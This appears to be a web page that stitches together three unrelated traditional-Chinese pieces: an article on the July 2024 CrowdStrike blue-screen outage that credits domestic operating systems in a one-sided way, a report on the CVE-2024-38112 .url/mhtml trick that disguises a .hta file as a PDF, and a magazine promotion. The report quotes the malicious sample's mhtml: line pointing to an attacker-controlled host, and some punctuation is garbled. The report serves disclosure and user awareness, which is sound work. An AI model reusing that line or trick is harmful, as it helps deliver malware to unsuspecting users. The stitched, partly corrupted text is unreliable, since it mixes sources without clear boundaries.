來源：人民郵電報
7月19日，“微軟藍屏”事件突然登上全球各大社交媒體熱搜，引發廣泛關注和討論。據了解，Windows電腦的藍屏死機問題在全球多地爆發，數百萬Windows用戶遭遇這一困擾?！拔④浰{屏”問題對全球眾多領域造成了嚴重影響，眾多企業正陷入業務中斷的困境，涉及的行業包括歐美多家航空、銀行、鐵路、電信、媒體、醫療健康、旅游與酒店業等。當天正值周五，不少打工人戲稱，這真是在放“微軟藍屏”假了。
值得注意的是，除了少數在華外企受到影響之外，此次“微軟藍屏”事件對我國的影響非常小，無論是各大航空公司、機場、網約車還是網上購物等與電腦密切相關的部門，均沒有受到影響，這是何緣故？
CrowdStrike安全軟件惹的禍
這次全球性宕機事故對中國等全球各國產生的明顯影響之一體現在微軟的Windows設備上。
微軟公司發言人證實，此次Windows設備大面積藍屏是CrowdStrike終端安全軟件發布更新造成的。CrowdStrike終端安全軟件的驅動文件CSAgent.sys存在兼容性問題，升級后，微軟的系統試圖整合CrowdStrike對其Falcon安全產品進行的最新更新，結果導致藍屏和無限重啟，致使大面積的業務中斷和系統崩潰。
CrowdStrike含內核模式運行的CSAgent.sys等驅動程序，用于監控系統活動。內核驅動程序可以訪問和使用所有包括存儲和外設等關鍵的系統資源。普通應用程序出現異常還有機會修復，內核模式加載運行的驅動程序出現異常，將無法進行錯誤恢復，最后操作系統不得不以藍屏的方式停止工作，防止計算機中的資源或者硬件受到不可恢復的破壞。
國產操作系統厥功至偉
幸運的是，盡管“微軟藍屏”成為微博熱搜話題，許多商業用戶、外企因系統故障而提前下班，但值得注意的是，國內的公共服務并未受到此次Windows系統故障的影響。這里有兩個原因，一是CrowdStrike的客戶主要集中在歐洲和美國，除了少數在華外企之外，國內基本上不使用Crowd-Strike的產品；二是近年來快速興起的國產操作系統在此次事件中表現出其穩定性和可靠性，確保了航班、高鐵、銀行服務等公共服務的正常運行。其中，第二個原因尤為重要。
面對全球化的信息技術浪潮，我國深知核心技術自主可控的重要性，尤其在操作系統這一信息基礎設施的“心臟”部位，多年來政、產、學、研、用多個環節協同發力，始終致力于打破壟斷，發展國產操作系統，以期在面臨外部技術風險時，能擁有更為堅實的防線。如今，以銀河麒麟、統信UOS、中標麒麟、深度操作系統、中科方德等為代表的國產操作系統，經過多年發展，已在政府、企事業單位等領域得到廣泛應用與成熟運行，尤其在公共服務領域，國產操作系統已逐步實現對關鍵業務的全覆蓋。這些基于開源技術自主研發的系統，不僅具備良好的兼容性、穩定性和安全性，更在實際應用中展現出強大的抗風險能力。
當全球多地因依賴特定商業操作系統而遭遇“藍屏”沖擊時，我國依靠國產操作系統的多元布局，成功規避了單一技術路徑可能帶來的系統性風險，實現了公共服務系統的穩定運行。
國產操作系統在此次“微軟藍屏”事件中的表現，不僅是一次成功的實戰檢驗，更是我國科技自立自強戰略的生動體現。
同時，此次“微軟藍屏”事件無疑對國家安全發出了強烈的警示。在數字化、智能化時代背景下，網絡安全已經成為國家安全的基石，其重要性不言而喻——沒有網絡安全，就沒有國家安全。盡管此次“微軟藍屏”事件是一次意外的技術事故，但它所暴露出的潛在風險卻讓人無法忽視。我們必須清醒地認識到，如果未來發生有組織、有目的的故意攻擊事件，其影響將遠遠超出技術范疇，對關鍵基礎設施、社會乃至國家都將構成巨大威脅。因此，我們必須加強網絡空間安全的建設，提升防范能力，強化措施機制，特別是網絡安全產品在自主、安全以及全流程可信方面的能力，以應對日益復雜的國際網絡安全環境。
誰能想到，早在 2022 年 6 月 15 日正式退役的 IE 瀏覽器，近日還能因漏洞被推上風口浪尖？
全球網絡安全解決方案提供商 Check Point Research（簡稱為 CPR）最近發現：有攻擊者在過去 18 個月里，通過構建特殊的 Windows Internet 快捷方式文件（即 .url），引誘用戶點擊并調用 IE 瀏覽器來訪問攻擊者控制的 URL，以此進行惡意攻擊。
據了解，這種漏洞甚至可以繞過 Windows 10、Windows 11 系統的安全防護。
強制調用 IE 瀏覽器打開 URL
據悉，該漏洞由 CPR 研究人員發現，追蹤編號為 CVE-2024-38112，微軟方面將其描述為 Windows MSHTML 平臺欺騙漏洞，自 2023 年 1 月以來就一直在被黑客利用：“我們發現的惡意 .url 樣本最早可以追溯到 2023 年 1 月（一年多前），最晚可以追溯到 2024 年 5 月 13 日。這表明，網絡罪犯使用這種攻擊技術已經有一段時間了?！?/span>
通過對攻擊過程的詳細分析，CPR 研究人員將該漏洞的實現分解為兩個步驟：
第一步是利用“mhtml”技巧，使得攻擊者可調用已退役的 IE 而非更安全的 Chrome/Edge。
第二步是通過某種 IE 技巧隱藏 .hta 這個擴展名，讓受害者以為他們只是打開了一個 PDF 文件——但實際上，他們正在下載并啟動一個惡意的 .hta 應用程序。
那么接下來，我們就先了解一下這個能在 Windows 中調用 IE 瀏覽器的“mhtml”技巧。
一般情況下，Internet 快捷方式文件（即 .url）是一個文本文件，里面包含各種配置信息，如顯示什么圖標、雙擊時打開什么鏈接等。將其保存為 .url 文件并雙擊后，Windows 會在默認瀏覽器中打開這個 URL。
然而，攻擊者發現可以在 URL 指令中使用 mhtml: URI 處理程序，以此強制用 IE 瀏覽器打開指定的 URL。以下面這個惡意 .url 樣本為例：
可以看到，.url 文件的最后幾行字符串指向 Microsoft Edge 應用程序文件中的一個自定義圖標。乍一看，它似乎指向一個 PDF 文件，但實際上并非如此。CPR 研究人員發現這個關鍵字的值與通常的關鍵字有很大不同：普通 .url 文件的參數類似于 URL=https://www.google.com；但這個惡意樣本的值是 URL=mhtml:http://cbmelipilla.cl/te/test1.html!x-usc:http://cbmelipilla.cl/te/test1.html。
它使用了一個特殊的前綴“mhtml:”。簡單說明一下 MHTML，這是一種“聚合 HTML 文檔的 MIME 封裝”文件，是 IE 瀏覽器中引入的一種存儲文件技術，可將包括圖像在內的整個網頁封裝成一個單一檔案。
CPR 研究人員指出，這樣的惡意 .url 文件在 Windows 11 中會顯示為一個指向 PDF 文件的鏈接：
如果受害者想打開 PDF，雙擊這個 .url 文件，然后便會彈出下面這個來自 IE 瀏覽器的窗口：
沒錯，攻擊者使用 mhtml: URI 啟動 URL 后，Windows 會自動在 IE 瀏覽器中啟動 URL，而不是默認瀏覽器。如文章開頭所說，IE 瀏覽器早在 2022 年就退出歷史舞臺了，在典型的 Windows 10/11 操作系統上，因其安全性不足，用戶一般無法直接用 IE 去訪問網站。
不過有一點需要明確：盡管 IE 已被微軟宣布“退役”，但從技術上講，IE 仍是 Windows 系統的一部分，IE 使用的專有瀏覽器引擎 MSHTML （Trident）也仍包含在操作系統中，微軟計劃至少支持該引擎到 2029 年。
因此，攻擊者使用“mhtml”技巧，讓本意想打開 PDF 的用戶，實際上正在用不安全且過時的 IE 訪問攻擊者控制的網站，尤其在 IE 下載惡意文件時安全警告也相對較少。
打開一個偽裝成 PDF 的惡意 .hta 文件
既然打開的不是 PDF，那受害者通過 IE 打開的到底是什么呢？
根據 IE 瀏覽器的彈出窗口顯示，它要求用戶打開一個名為 .Books_A0UJKO.pdf 的 PDF 文件：
可一旦點擊了這個“Open”（默認選項），緊接著又會跳出另一個窗口：IE 保護模式下的警告提示。
到了這一步，如果用戶一直以為自己打開的不過是個 PDF，大概率會忽略這個警告，那么打開的就會是一個偽裝成 PDF 的惡意 .hta 文件。這是一個從 HTML 文檔中調用的可執行程序，通過一個名為 Microsoft HTML Application Host（mshta.exe）的工具在 Windows 上運行。
CPR 研究人員解釋道：“如果我們仔細觀察 HTTP 流量，就會發現在字符串末尾有許多不可打印的字符——最后是 .hta 字符串，這才是真正的（危險的）擴展名?！?/span>
但這個 .hta 字符串被隱藏了：用戶看不到真實的擴展名，所以無防備地繼續點擊文件，根本不知道自己其實正在下載并啟動一個危險的 .hta 應用程序。
一定要警惕從不可信來源發送的 .url 文件
據 CPR 研究人員證實，這個漏洞所用的技巧在 Windows 10/11 操作系統上均可實現。
于是，CPR 方面在 2024 年 5 月 16 日向微軟安全響應中心（MSRC）報告了該漏洞。此后，雙方一直就此事密切合作，終于在 7 月 9 日發布了微軟官方補丁（CVE-2024-38112）。
從通用漏洞評分系統（CVSS）來看，CVE-2024-38112 的評分為 7.5（滿分 10 分），屬于重要漏洞，攻擊者需采取額外行動才能確保成功利用該漏洞。而不論是微軟還是 CPR，都強烈建議 Windows 用戶盡快更新該補丁，因為根據調查顯示該漏洞已被黑客利用一年多了。
最后，CPR 也給出了重要提醒：“對于相關的 Windows 用戶，我們建議一定要警惕從不可信來源發送的 .url 文件，畢竟這種類型的攻擊需要一些用戶交互（如忽略警告彈窗）才能成功?！?/span>
參考鏈接：
https://research.checkpoint.com/2024/resurrecting-internet-explorer-threat-actors-using-zero-day-tricks-in-internet-shortcut-file-to-lure-victims-cve-2024-38112/
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-38112
大模型刷新一切，讓我們有著諸多的迷茫，AI 這股熱潮究竟會推著我們走向何方？面對時不時一夜變天，焦慮感油然而生，開發者怎么能夠更快、更系統地擁抱大模型？《新程序員 007》以「大模型時代，開發者的成長指南」為核心，希望撥開層層迷霧，讓開發者定下心地看到及擁抱未來。
讀過本書的開發者這樣感慨道：“讓我驚喜的是，中國還有這種高質量、貼近開發者的雜志，我感到非常激動。最吸引我的是里面有很多人對 AI 的看法和經驗和一些采訪的內容，這些內容既真實又有價值?！?/span>